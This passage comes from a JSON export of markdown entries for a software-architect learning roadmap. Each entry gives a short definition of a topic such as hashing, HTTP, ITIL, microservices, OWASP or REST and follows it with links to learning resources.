    "content": "# Hashing Algorithms\n\nHashing algorithms are used to generate a unique value for a given input. This value is called a hash. Hashing algorithms are used to verify the integrity of data, to store passwords, and to generate unique identifiers for data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Hashing?](https://www.codecademy.com/resources/blog/what-is-hashing/)\n- [@video@Hashing Algorithms and Security - Computerphile](https://www.youtube.com/watch?v=b4b8ktEV4Bg)\n- [@video@Top Hashing Algorithms In Cryptography | MD5 and SHA 256 Algorithms Expalined | Simplilearn](https://www.youtube.com/watch?v=Plp4F3ZfC7A)\n- [@video@SHA: Secure Hashing Algorithm - Computerphile](https://www.youtube.com/watch?v=DMtFhACPnTY)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/how-to-code@77KvWCA1oHSGgDKBTwjv7.md",
    "content": "# How to Code\n\nEven as an Enterprise Architect, staying connected to coding practices is essential to understand developers’ challenges and earn their trust. Maintaining a **side project** allows you to explore new technologies, tools, and methodologies hands-on, building practical experience beyond theoretical knowledge. This helps in forming informed decisions and keeping pace with evolving trends in development.\n\nTo prioritize what to explore, structured resources like ThoughtWorks’ Technology Radar can guide you. It categorizes technologies into **Adopt**, **Trial**, **Assess**, and **Hold**, helping architects focus on impactful and enterprise-ready innovations. Staying informed and involved ensures better collaboration and alignment with developers.\n\nVisit the following resources to learn more:\n\n- [@article@How to Code – Coding for Beginners and How to Learn Programming for Free](https://www.freecodecamp.org/news/how-to-code-coding-for-beginners-and-how-to-learn-programming-for-free/)\n- [@article@Technology Radar](https://www.thoughtworks.com/radar)\n- [@video@coding is easy, actually](https://www.youtube.com/watch?v=qkFYqY3vr84)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/http-https@Nq6o6Ty8VyNRsvg-UWp7D.md",
    "content": "# Http Https\n\nHTTP is the `TCP/IP` based application layer communication protocol which standardizes how the client and server communicate with each other. It defines how the content is requested and transmitted across the internet.\n\nHTTPS (Hypertext Transfer Protocol Secure) is the secure version of HTTP, which is the primary protocol used to send data between a web browser and a website.\n\n`HTTPS = HTTP + SSL/TLS`\n\nVisit the following resources to learn more:\n\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@Overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@HTTP/3 From A To Z: Core Concepts](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/)\n- [@article@Why HTTPS Matters](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https)\n- [@article@Enabling HTTPS on Your Servers](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/enable-https)\n- [@video@HTTP Crash Course & Exploration](https://www.youtube.com/watch?v=iYM2zFP3Zn0)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/iaf@wFu9VO48EYbIQrsM8YUCj.md",
    "content": "# Iaf\n\nThe Integrated Architecture Framework (IAF) is an enterprise architecture framework that covers business, information, information system and technology infrastructure.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Integrated_Architecture_Framework)\n- [@article@IAF PDF](https://www.capgemini.com/wp-content/uploads/2018/03/architecture-for-the-information-age.pdf)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/ibm-bpm@5EVecZmvor09LjD7WR_Y9.md",
    "content": "# IBM BPM\n\nIBM BPM is a comprehensive business process management platform. It provides a robust set of tools to author, test, and deploy business processes, as well as full visibility and insight to managing those business processes.\n\nVisit the following resources to learn more:\n\n- [@official@Overview BPM](https://www.ibm.com/docs/en/bpm/8.5.5?topic=manager-business-process-overview)\n- [@video@BPM Demo](https://www.youtube.com/watch?v=6yn4nCWMNLI)\n- [@feed@Explore top posts about IBM](https://app.daily.dev/tags/ibm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/important-skills-to-learn@lBtlDFPEQvQ_xtLtehU0S.md",
    "content": "# Important Skills\n\nTo support the laid-out activities specific skills are required. From my experience, read books and discussions we can boil this down to these ten skills every software architect should have:\n\n*   Design\n*   Decide\n*   Simplify\n*   Code\n*   Document\n*   Communicate\n*   Estimate\n*   Balance\n*   Consult\n*   Market"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/infrastructure-as-code@igf9yp1lRdAlN5gyQ8HHC.md",
    "content": "# Infrastructure as Code\n\nSometimes referred to as IaC, this section refers to the techniques and tools used to define infrastructure, typically in a markup language like YAML or JSON. Infrastructure as code allows DevOps Engineers to use the same workflows used by software developers to version, roll back, and otherwise manage changes.\n\nThe term Infrastructure as Code encompasses everything from bootstrapping to configuration to orchestration, and it is considered a best practice in the industry to manage all infrastructure as code. This technique precipitated the explosion in system complexity seen in modern DevOps organizations.\n\nVisit the following resources to learn more:\n\n- [@article@What is Infrastructure as Code](https://www.redhat.com/en/topics/automation/what-is-infrastructure-as-code-iac)\n- [@article@GUIs, CLI, APIs: Learn Basic Terms of Infrastructure-as-Code](https://thenewstack.io/guis-cli-apis-learn-basic-terms-of-infrastructure-as-code/)\n- [@video@What is Infrastructure as Code?](https://www.youtube.com/watch?v=zWw2wuiKd5o)\n- [@video@What is Infrastructure as Code? Difference of Infrastructure as Code Tools](https://www.youtube.com/watch?v=POPP2WTJ8es)\n- [@video@Introduction to Infrastructure as Code](https://www.youtube.com/watch?v=zWw2wuiKd5o)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/itil@Rq1Wi-cHjS54SYo-Btp-e.md",
    "content": "# ITIL\n\n**ITIL (Information Technology Infrastructure Library)** is a set of best practices for IT service management, designed to align IT services with business needs. Its primary focus is the efficient and effective delivery of value through managing the IT service lifecycle, which includes five phases: `Strategy`, `Design`, `Transition`, `Operation`, and `Continual Service Improvement`. ITIL includes key processes such as incident management, problem management, change management, configuration management, and service level agreements (SLAs). These practices aim to optimize performance, service quality, and customer satisfaction. Adopting ITIL helps organizations improve operational efficiency, reduce risks, and maintain clear control over IT services over time.\n\nVisit the following resources to learn more:\n\n- [@official@ITIL Documentation](https://www.axelos.com/certifications/itil-service-management/itil-4-foundation)\n- [@video@What is ITIL?](https://www.youtube.com/watch?v=wgnpfMK8vDk)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/java--kotlin--scala@a5DB_hsD4bAf8BtHNFNPo.md",
    "content": "# Java/Kotlin/Scala\n\n*   **Java**: Java is a widely-used, object-oriented programming language known for its platform independence, reliability, and scalability. It’s commonly used for building large-scale enterprise applications, Android development, and web services. Java’s extensive libraries, frameworks, and strong community support make it a popular choice for developers.\n    \n*   **Scala**: Scala is a statically-typed programming language that combines object-oriented and functional programming paradigms. It runs on the Java Virtual Machine (JVM) and is known for its concise syntax, expressive power, and compatibility with Java. Scala is often used in data engineering, backend services, and applications requiring high concurrency.\n    \n*   **Kotlin**: Kotlin is a modern, statically-typed programming language designed to be fully interoperable with Java while offering more concise and expressive syntax. It is particularly popular for Android development due to its simplicity and safety features, such as null safety, and is gaining traction in backend development as well.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Java Roadmap](https://roadmap.sh/java)\n- [@official@Java](https://www.java.com/)\n- [@roadmap@Visit Dedicated Kotlin Roadmap](https://roadmap.sh/kotlin)\n- [@official@Kotlin](https://kotlinlang.org/)\n- [@official@Scala Documentation](https://docs.scala-lang.org/)\n- [@official@Swift Docs](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/guidedtour)\n- [@article@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/javascript--typescript@bhP5gMpRVebSFpCeHVXBj.md",
    "content": "# JavaScript\n\nJavaScript allows you to add interactivity to your pages. Common examples that you may have seen on the websites are sliders, click interactions, popups and so on. Apart from being used on the frontend in browsers, there is Node.js which is an open-source, cross-platform, back-end JavaScript runtime environment that runs on the V8 engine and executes JavaScript code outside a web browser. TypeScript adds optional types to JavaScript that support tools for large-scale JavaScript applications for any browser, for any host, on any OS. TypeScript compiles to readable, standards-based JavaScript.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@roadmap@Visit Dedicated TypedScript Roadmap](https://roadmap.sh/typescript)\n- [@official@TypeScript](https://www.typescriptlang.org/)\n- [@official@TypeScript Docs for Deep Dives](https://www.typescriptlang.org/docs/)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c)\n- [@video@Node.js Crash Course](https://www.youtube.com/watch?v=fBNz5xF-Kx4)\n- [@video@Node.js Tutorial for Beginners](https://www.youtube.com/watch?v=TlB_eWDSMt4)\n- [@video@TypeScript for Beginners](https://www.youtube.com/watch?v=BwuLxPH8IDs)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/kanban@O7H6dt3Z7EKohxfJzwbPM.md",
    "content": "# Kanban\n\n`Kanban` is a popular agile methodology that focuses on visualizing workflow and continuously improving that flow. It's a more flexible approach than Scrum, without the rigid framework.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Kanban? A Simple Guide to Improve Efficiency.](https://businessmap.io/kanban-resources/getting-started/what-is-kanban)\n- [@article@Kanban Methodology: The Simplest Agile Framework ](https://kissflow.com/project/agile/kanban-methodology/)\n- [@article@What is Kanban Methodology? The Ultimate Guide](https://www.wrike.com/kanban-guide/what-is-kanban/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/layered@05hLO2_A8Tr6cLJGFRhOh.md",
    "content": "# Layered Architecture\n\nLayered architecture is a software design pattern where an application is divided into distinct layers, each with a specific responsibility, such as presentation, business logic, and data access. This approach promotes modularity, easier maintenance, testing, and component reusability. The most common implementation is the three-tier architecture, which separates concerns between the user interface, business rules, and data handling. However, it can introduce complexity, performance issues, tight coupling, and overhead if not carefully implemented. Despite these challenges, layered architecture is widely used in scalable and maintainable systems, particularly in enterprise applications.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Layered_architecture)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/less@qwpsGRFgzAYstM7bJA2ZJ.md",
    "content": "# Less\n\n**LeSS** (Large-Scale-Scrum) is an agile framework designed to scale Scrum across multiple teams working on a single product. It adheres to Scrum's principles, emphasizing simplicity and continuous improvement. LeSS encourages coordination between teams by using a single backlog and a common Product Owner. Each team is responsible for parts of the product, but they collaborate in its joint development, with frequent feedback loops to adjust project direction. Its goal is to minimize bureaucracy and maximize value delivery in an agile and efficient way.\n\nVisit the following resources to learn more:\n\n- [@official@LeSS Framework](https://less.works/less/framework)\n- [@video@Introduction to LeSS](https://www.youtube.com/watch?v=1BZf_Oa7W94)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/levels-of-architecture@2sR4KULvAUUoOtopvsEBs.md",
    "content": "# Levels of Architecture\n\nArchitecture can be done on several “levels” of abstractions. The level influences the importance of necessary skills. As there are many categorizations possible my favorite segmentation includes these 3 levels:\n\n*   **Application Level:** The lowest level of architecture. Focus on one single application. Very detailed, low level design. Communication is usually within one development team.\n*   **Solution Level:** The mid-level of architecture. Focus on one or more applications which fulfill a business need (business solution). Some high, but mainly low-level design. Communication is between multiple development teams.\n*   **Enterprise Level:** The highest level of architecture. Focus on multiple solutions. High level, abstract design, which needs to be detailed out by solution or application architects. Communication is across the organization."
  },
  {
    "path": "src/data/roadmaps/software-architect/content/linux--unix@XnvlRrOhdoMsiGwGEhBro.md",
    "content": "# Linux / Unix\n\nKnowledge of UNIX is a must for almost all kind of development as most of the codes that you write is most likely going to be finally deployed on a UNIX/Linux machine. Linux has been the backbone of the free and open source software movement, providing a simple and elegant operating system for almost all your needs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Linux Roadmap](https://roadmap.sh/linux)\n- [@course@Coursera - Unix Courses](https://www.coursera.org/courses?query=unix)\n- [@article@Unix & Linux Tutorial](https://www.tutorialspoint.com/unix/index.htm)\n- [@article@Linux Basics ](https://dev.to/rudrakshi99/linux-basics-2onj)\n- [@video@Linux Operating System - Crash Course](https://www.youtube.com/watch?v=ROjZy1WbCIA)\n- [@feed@Explore top posts about Linux](https://app.daily.dev/tags/linux?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/management@UyIwiIiKaa6LTQaqzbCam.md",
    "content": "# Management\n\nManagement in software architects encompasses various responsibilities and practices that ensure the successful design, development, and implementation of software systems. Software architects play a critical role in bridging the gap between business requirements and technical implementation.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Management)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/marketing-skills@YW6j3Sg511dXToTcwSnOS.md",
    "content": "# Marketing Skills\n\nMarketing skills are essential for promoting your ideas effectively, especially when others may not immediately embrace them. To convince others, it's crucial to motivate them by demonstrating the value and benefits of your ideas in an easily digestible format, such as through prototypes or videos. Persistence is key; if you're convinced of your idea’s worth, you need to fight for it, even if it's met with resistance. Establishing allies who support your ideas can also make it easier to gain traction, so start building a network. Repeating your message regularly can help, but be cautious not to overdo it, as credibility is essential for long-term success.\n\nVisit the following resources to learn more:\n\n- [@article@Marketing Skills for Architects](https://openasset.com/blog/marketing-for-architects/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/messaging-queues@4NVdEbmpQVHpBc7582S6E.md",
    "content": "# Messaging queues\n\nMessage queuing makes it possible for applications to communicate asynchronously, by sending messages to each other via a queue. A message queue provides temporary storage between the sender and the receiver so that the sender can keep operating without interruption when the destination program is busy or not connected.\n\nVisit the following resources to learn more:\n\n- [@article@Messaging Queues](https://aws.amazon.com/message-queue/)\n- [@article@Messaging Queues Tutorial](https://www.tutorialspoint.com/inter_process_communication/inter_process_communication_message_queues.htm)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/microfrontends@vpko5Kyf6BZ5MHpxXOKaf.md",
    "content": "# Microfrontends\n\nMicrofrontends is an architectural style where independently deliverable frontend applications built by different teams using different technologies are composed into a greater whole. Simply, a Micro-Frontend is a portion of a webpage (not the entire page). There is a “Host” or a “Container” page in the Micro-Frontend Architecture page that can host one or more Micro-Frontends.\n\nVisit the following resources to learn more:\n\n- [@article@Micro Frontends](https://micro-frontends.org/)\n- [@video@Micro-Frontends Course - Beginner to Expert](https://www.youtube.com/watch?v=lKKsjpH09dU)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/microservices@b6lCGw82qKpUmsxe1r1f5.md",
    "content": "# Microservices\n\nMicroservice architecture is a pattern in which highly cohesive, loosely coupled services are separately developed, maintained, and deployed. Each component handles an individual function, and when combined, the application handles an overall business function.\n\nVisit the following resources to learn more:\n\n- [@official@Pattern: Microservice Architecture](https://microservices.io/patterns/microservices.html)\n- [@article@What is Microservices?](https://smartbear.com/solutions/microservices/)\n- [@article@Microservices 101](https://thenewstack.io/microservices-101/)\n- [@article@Primer: Microservices Explained](https://thenewstack.io/primer-microservices-explained/)\n- [@article@Articles about Microservices](https://thenewstack.io/category/microservices/)\n- [@feed@Explore top posts about Microservices](https://app.daily.dev/tags/microservices?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/ms-dynamics@gdtI0H_PzzTj_aFQn_NeA.md",
    "content": "# MS Dynamics\n\nMicrosoft Dynamics 365 is a combination of both Enterprise Resource Planning (ERP) software and Customer Relationship Management (CRM) software.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you ever wanted to know about Microsoft Dynamics](https://www.nigelfrank.com/insights/everything-you-ever-wanted-to-know-about-dynamics-crm)\n- [@video@What is Microsoft Dynamics?](https://www.youtube.com/watch?v=ogfclHWgqgE)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/mvc-mvp-mvvm@jj5otph6mEYiR-oU5WVtT.md",
    "content": "# MVC MVP MVVM\n\nModel-view-controller, or MVC, is a pattern used to separate user-interface, data and application logic. It does this by separating an application into three parts: Model, View, and Controller. The model holds the data, the view encompasses the user-interface, and the controller acts as a mediator between the two.\n\nModel-view-presenter, or MVP, was designed to ease automated unit testing and improve the separation of concerns in presentation logic. MVP is a variant of the MVC pattern, though differs in that it divides the application into the user-interface (view), data (model) and presentation logic (presenter). While the model and the view represent stay the same as in the model-view-controller pattern, the presenter differs from the controller in that it manipulates the model and updates the view.\n\nAnother variant of the MVC is the model-view-viewmodel pattern. The Model-view-viewmodel, or MVVM, separates the application into three core components: Model, View, and View Model. While the view and model represent all that they did in their parent pattern, the view model acts as a link between the model and view, retrieves data from the model and exposes it to the view through two-way data binding and can manipulate the model's data.\n\nVisit the following resources to learn more:\n\n- [@article@MVC, MVP and MVVM Design Pattern](https://medium.com/@ankit.sinhal/mvc-mvp-and-mvvm-design-pattern-6e169567bbad)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/net-framework-based@D1IXOBUrrXf5bXhVu9cmI.md",
    "content": "# .NET Framework\n\n.NET is an open-source platform with tools and libraries for building web, mobile, desktop, games, IoT, cloud, and microservices.\n\nOfficially supported languages in .NET: C#, F#, Visual Basic.\n\nVisit the following resources to learn more:\n\n- [@official@.NET Website](https://dotnet.microsoft.com/en-us/)\n- [@official@What is .NET?](https://dotnet.microsoft.com/en-us/learn/dotnet/what-is-dotnet)\n- [@official@Why Choose .NET?](https://dotnet.microsoft.com/en-us/platform/why-choose-dotnet)\n- [@official@C# Documentation](https://learn.microsoft.com/en-us/dotnet/csharp/?WT.mc_id=dotnet-35129-website)\n- [@official@F# Documentation](https://learn.microsoft.com/en-us/dotnet/fsharp/?WT.mc_id=dotnet-35129-website)\n- [@official@Visual Basic Documentation](https://learn.microsoft.com/en-us/dotnet/visual-basic/?WT.mc_id=dotnet-35129-website)\n- [@feed@Explore top posts about .NET](https://app.daily.dev/tags/.net?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/networks@cBWJ6Duw99tSKr7U6OW3A.md",
    "content": "# Networks\n\nA computer network is a set of computers sharing resources located on or provided by network nodes. Computers use common communication protocols over digital interconnections to communicate with each other. These interconnections are made up of telecommunication network technologies based on physically wired, optical, and wireless radio-frequency methods that may be arranged in a variety of network topologies.\n\nVisit the following resources to learn more:\n\n- [@article@Networking - IBM](https://www.ibm.com/topics/networking)\n- [@article@Networking - Wikipedia](https://en.wikipedia.org/wiki/Networking)\n- [@article@Networking Basics](https://www.cisco.com/c/en/us/solutions/small-business/resource-center/networking/networking-basics.html)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/nosql-databases@57liQPaPyVpE-mdLnsbi0.md",
    "content": "# Nosql databases\n\nNoSQL databases (aka \"not only SQL\") are non-tabular databases and store data differently than relational tables. NoSQL databases come in a variety of types based on their data model. The main types are document, key-value, wide-column, and graph. They provide flexible schemas and scale easily with large amounts of data and high user loads.\n\nTypes of NoSQL databases\n\n*   Document databases Ex. MongoDB\n*   Key-value databases Ex. Redis\n*   Wide-column databases Ex. Cassandra\n*   Graph databases Ex. Neo4J\n\nVisit the following resources to learn more:\n\n- [@article@NoSQL Database - AWS](https://aws.amazon.com/nosql/)\n- [@article@NoSQL Databases](https://www.mongodb.com/resources/basics/databases/nosql-explained)\n- [@feed@Explore top posts about NoSQL](https://app.daily.dev/tags/nosql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/oop@AMDLJ_Bup-AY1chl_taV3.md",
    "content": "# OOP\n\nObject-oriented programming (OOP) is a computer programming model that organizes software design around data, or objects, rather than functions and logic. An object can be defined as a data field that has unique attributes and behavior.\n\nVisit the following resources to learn more:\n\n- [@article@OOP - Wikipedia](https://en.wikipedia.org/wiki/Object-oriented_programming)\n- [@article@Basic Concepts of Object-Oriented Programming](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object-oriented_programming)\n- [@video@FreeCodeCamp - (OOP) in C++](https://www.youtube.com/watch?v=wN0x9eZLix4)\n- [@video@FreeCodeCamp - (OPP) in Python](https://www.youtube.com/watch?v=Ej_02ICOIgs)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/operations-knowledge@EdJhuNhMSWjeVxGW-RZtL.md",
    "content": "# Operations Knowledge\n\nOperational knowledge refers to the understanding and insights that software architects need to effectively design, implement, and manage software systems throughout their lifecycle. This knowledge encompasses various aspects of software development, deployment, and maintenance, and it is crucial for ensuring that systems operate efficiently, reliably, and securely."
  },
  {
    "path": "src/data/roadmaps/software-architect/content/osi@Mt5W1IvuHevNXVRlh7z26.md",
    "content": "# OSI and TCP/IP Models\n\nThe OSI and TCP/IP model is used to help the developer to design their system for interoperability. The OSI model has 7 layers while the TCP/IP model has a more summarized form of the OSI model only consisting 4 layers. This is important if you're trying to design a system to communicate with other systems.\n\nVisit the following resources to learn more:\n\n- [@article@Cloudflare - What is the OSI model](https://www.cloudflare.com/learning/ddos/glossary/open-systems-interconnection-model-osi/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/owasp@KhqUK-7jdClu9M2Pq7x--.md",
    "content": "# OWASP\n\nOWASP or Open Web Application Security Project is an online community that produces freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security.\n\nVisit the following resources to learn more:\n\n- [@opensource@OWASP Web Application Security Testing Checklist](https://github.com/0xRadi/OWASP-Web-Checklist)\n- [@article@Wikipedia - OWASP](https://en.wikipedia.org/wiki/OWASP)\n- [@article@OWASP Top 10 Security Risks](https://sucuri.net/guides/owasp-top-10-security-vulnerabilities-2021/)\n- [@article@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/patterns--design-principles@_U0VoTkqM1d6NR13p5azS.md",
    "content": "# Patterns and design principles\n\nIn the realm of software architecture, patterns and design principles are foundational tools that enable architects to create robust, scalable, and maintainable systems. They offer proven solutions to common problems and guide decision-making throughout the software development lifecycle. Understanding these concepts is essential for anyone following a software architect roadmap, as they bridge the gap between high-level architecture and practical implementation."
  },
  {
    "path": "src/data/roadmaps/software-architect/content/pki@OpL2EqvHbUmFgnpuhtZPr.md",
    "content": "# PKI\n\nA public key infrastructure (PKI) is a set of roles, policies, hardware, software, and procedures to create, manage, distribute, use, store and revoke digital certificates and public-key encryption. The purpose of a PKI is to facilitate the secure electronic transfer of information for a range of network activities such as e-commerce, internet banking, and confidential email. It is required for activities where simple passwords are an inadequate authentication method, and the more rigorous proof is required to confirm the identity of the parties involved in the communication and to validate the information being transferred.\n\nVisit the following resources to learn more:\n\n- [@article@PKI - Wikipedia](https://en.wikipedia.org/wiki/Public_key_infrastructure)\n- [@article@PKI - DoD Cyber Exchange](https://public.cyber.mil/pki-pke/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/pmi@hRug9yJKYacB9X_2cUalR.md",
    "content": "# PMI\n\nThe PMI certification (Project Management Institute) is an internationally recognized credential in project management. The most well-known is the PMP® (Project Management Professional), which validates the skills and knowledge of professionals to manage projects effectively by applying best practices and standards defined in the PMBOK® (Project Management Body of Knowledge) guide.\n\nVisit the following resources to learn more:\n\n- [@official@Project Management Institute](https://www.pmi.org/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/prince2@SJ5lrlvyXgtAwOx4wvT2W.md",
    "content": "# Prince2\n\nPrince2 is a structured project management method and practitioner certification programme. Prince2 emphasizes dividing projects into manageable and controllable stages. It is adopted in many countries worldwide, including the UK, Western European countries, and Australia.\n\nVisit the following resources to learn more:\n\n- [@course@Prince2 Project Management Course](https://www.simplilearn.com/project-management/prince2-foundation-and-practitioner-certification-training)\n- [@official@Prince2 Certification](https://www.axelos.com/certifications/propath/prince2-project-management)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/programming-languages@uoDtVFThaV6OMK2wXGfP5.md",
    "content": "# Programming Languages\n\nA programming language is a system of notation for writing computer programs. Programming languages are described in terms of their syntax and semantics, usually defined by a formal language. Languages usually provide features such as a type system, variables, and mechanisms for error handling.\n\nVisit the following resources to learn more:\n\n- [@article@Programming Language](https://en.wikipedia.org/wiki/Programming_language)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/proxies@6_EOmU5GYGDGzmNoLY8cB.md",
    "content": "# Proxies\n\nIn computer networking, a proxy server is a server application that acts as an intermediary between a client requesting a resource and the server providing that resource.\n\nVisit the following resources to learn more:\n\n- [@article@Proxy Server](https://en.wikipedia.org/wiki/Proxy_server)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/python@j2Ph2QcKwmKlbaMHz1l_i.md",
    "content": "# Python\n\nPython is a multi-paradigm language. Being an interpreted language, code is executed as soon as it is written and the Python syntax allows for writing code in functional, procedural or object-oriented programmatic ways. Python is frequently recommended as the first language new coders should learn, because of its focus on readability, consistency, and ease of use. This comes with some downsides, as the language is not especially performant in most production tasks.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python Website](https://www.python.org/)\n- [@official@Python Getting Started](https://www.python.org/about/gettingstarted/)\n- [@article@Automate the Boring Stuff](https://automatetheboringstuff.com/)\n- [@article@Python Crash Course](https://ehmatthes.github.io/pcc/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/react-vue-angular@mCiYCbKIOVU34qil_q7Hg.md",
    "content": "# React\n\nReact is the most popular front-end JavaScript library for building user interfaces. React can also render on the server using Node and power mobile apps using React Native.\n\nVue.js is a progressive JavaScript framework designed for building user interfaces and single-page applications.\n\nAngular is a TypeScript-based open-source front-end web application framework led by the Angular Team at Google.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@roadmap@Visit Dedicated Vue Roadmap](https://roadmap.sh/vue)\n- [@roadmap@Visit Dedicated Angular Roadmap](https://roadmap.sh/angular)\n- [@official@React](https://react.dev/)\n- [@official@Vue.js](https://vuejs.org/)\n- [@official@Angular](https://angular.dev/)\n- [@video@React JS Course for Beginners](https://www.youtube.com/watch?v=nTeuhbP7wdE)\n- [@video@Vue.js Course for Beginners](https://www.youtube.com/watch?v=FXpIoQ_rT_c)\n- [@video@Angular Course for Beginners](https://www.youtube.com/watch?v=3qBXWUpoPHo)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/reactive-programming@C0g_kQFlte5siHMHwlHQb.md",
    "content": "# Reactive Programming\n\nReactive programming describes a design paradigm that relies on asynchronous programming logic to handle real-time updates to otherwise static content. It provides an efficient means -- the use of automated data streams -- to handle data updates to content whenever a user makes an inquiry.\n\nVisit the following resources to learn more:\n\n- [@article@What is Reactive Programming?](https://www.techtarget.com/searchapparchitecture/definition/reactive-programming)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/responsibilities@rUxbG2S2nJuA1YVY6sjiX.md",
    "content": "# Architect Responsibilities\n\nTo understand the necessary skills an architect needs, we first need to understand typical activities. The following list contains from my perspective the most important activities:\n\n*   Define and decide development technology and platform\n*   Define development standards, e.g., coding standards, tools, review processes, test approach, etc.\n*   Support identifying and understanding business requirements\n*   Design systems and take decisions based on requirements\n*   Document and communicate architectural definitions, design and decisions\n*   Check and review architecture and code, e.g., check if defined patterns and coding standards are implemented properly\n*   Collaborate with other architects and stakeholders\n*   Coach and consult developers\n*   Make sure that as implementation takes place, the architecture is being adhered to\n*   Play a key part in reviewing code\n*   Detail out and refine higher level design into lower level design\n\nVisit the following resources to learn more:\n\n- [@article@Software Architect](https://en.wikipedia.org/wiki/Software_architect)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/rest@Ss43xwK1ydEToj6XmmCt7.md",
    "content": "# REST\n\nREST, or REpresentational State Transfer, is an architectural style for providing standards between computer systems on the web, making it easier for systems to communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REST API?](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@Roy Fieldings dissertation chapter, Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm)\n- [@article@Learn REST: A RESTful Tutorial](https://restapitutorial.com/)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/ruby@U_Hmzfjjs1jVtu2CZ0TlG.md",
    "content": "# Ruby\n\nRuby is a high-level, interpreted programming language that blends Perl, Smalltalk, Eiffel, Ada, and Lisp. Ruby focuses on simplicity and productivity along with a syntax that reads and writes naturally. Ruby supports procedural, object-oriented and functional programming and is dynamically typed.\n\nVisit the following resources to learn more:\n\n- [@official@Ruby](https://www.ruby-lang.org/en/)\n- [@official@Learn Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)\n- [@feed@Explore top posts about Ruby](https://app.daily.dev/tags/ruby?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/rup@7rudOREGG-TTkCosU0hNw.md",
